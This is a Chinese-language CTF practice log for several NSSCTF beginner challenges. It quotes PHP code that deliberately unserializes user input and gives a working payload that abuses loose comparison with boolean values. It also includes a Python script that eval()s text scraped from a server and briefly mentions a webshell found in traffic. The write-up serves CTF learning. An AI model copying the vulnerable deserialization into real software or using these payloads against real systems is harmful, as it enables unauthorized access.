ctf刷题记录2

[SWPUCTF 2021 新生赛]pop
<?php
error_reporting(0); show_source("index.php");
class w44m{
private $admin = 'aaa'; protected $passwd = '123456';
public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }
else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } }
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }
class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{
$this->w22m}
(); return 0; } }
$w00m = $_GET['w00m']; unserialize($w00m);
?>
解析
$this->w00m->{
$this->w22m}
(); 在 PHP 中,可以使用花括号语法来动态调用对象的方法。在你的代码中,`$this->w00m`是一个对象,`$this->w22m`是一个字符串,表示方法名。通过将花括号放在对象后面,并在花括号内使用变量作为方法名,你可以动态调用对象的方法。注意这个 我们可以用这个来调用类的方法
[HUBUCTF 2022 新生赛]checkin
真恶心
<?php show_source(__FILE__); $username = "this_is_secret"; $password = "this_is_not_known_to_you"; include("flag.php");
//here I changed those two $info = isset($_GET['info'])? $_GET['info']: "" ; $data_unserialize = unserialize($info); if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){ echo $flag; }
else{ echo "username or password error!";
}
?>
include(“flag.php”);//here I changed those two
这句话真是害人匪浅
没做过每加类的 一些题目 今天还遇上一个数组的反序列化
payload
<?php$person = array("username" => true, "password" => true);
$a=serialize($person);
echo urlencode($a);
?> ?>
[HUBUCTF 2022 新生赛]最简单的misc
纯手感
三个钩 这就是很灵性的
[HUBUCTF 2022 新生赛]Calculate
Breeze 师傅tql tql 膜拜脚本
import requests
import time
import re
url = 'http://node5.anna.nssctf.cn:23323/' res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
for i in range(1, 21):
print(f"正在执行第{
i}
次------") math = ""
response = res.get(url) #发get包,获取题目
resTest = response.text #获取返回包的内容 li=re.findall(">([0-9*/+-])<",resTest) ## tql 这才是python大神·# >< 这个是不匹配的 只匹配 里面的() 的东西 并且返回一个[]列表 # 再转成字符串放到python 里面执行math="".join(li)
print(math) num = eval(math) #计算数学表达式的值
myData = { #构造的POST数据 'ans': num } time.sleep(1) # 睡一秒 response = res.post(url, data=myData) #发post包,提交答案
if "NSSCTF{
" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text) exit() # 退出当前程序,也可以break
[HUBUCTF 2022 新生赛]messy_traffic
这道题不想多说 直接看http流量自然就有密码 和 webshell flag.zip